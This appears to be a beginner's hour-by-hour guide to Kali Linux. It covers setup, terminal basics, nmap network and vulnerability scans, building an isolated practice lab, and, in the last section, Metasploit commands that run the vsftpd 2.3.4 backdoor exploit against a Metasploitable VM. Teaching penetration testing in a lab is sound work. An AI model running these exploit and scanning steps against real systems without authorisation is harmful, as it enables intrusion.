Kali Linux for Beginners — Your First 24 Hours Guide

Your First 24 Hours with Kali Linux

Just installed Kali? Don't feel overwhelmed. Follow this hour-by-hour guide.

Hour 1-2: System Setup

sudo apt update && sudo apt full-upgrade -y
sudo passwd root               # Set root password
sudo useradd -m hacker         # Create your user
sudo usermod -aG sudo hacker   # Give admin rights

Hour 3-4: Learn the Terminal

pwd, ls, cd, mkdir, cp, mv, rm    # File operations
cat, head, tail, grep, find       # File viewing
chmod, chown                       # Permissions
sudo, su                           # Privilege commands
man nmap                           # Read documentation

Hour 5-8: First Network Scan

ip addr                            # Find your IP
nmap -sn 192.168.1.0/24           # Discover network devices
nmap -sV 192.168.1.1              # Scan your router
nmap --script vuln 192.168.1.1    # Vulnerability check

Hour 9-16: Set Up Your Lab

• Download Metasploitable 2 (intentionally vulnerable VM)
• Download DVWA (Damn Vulnerable Web App)
• Set up Host-Only network for isolation
• Practice scanning and exploiting safely

Hour 17-24: First Exploit

msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS metasploitable_ip
exploit

Congratulations — you just performed your first ethical hack! 🎉

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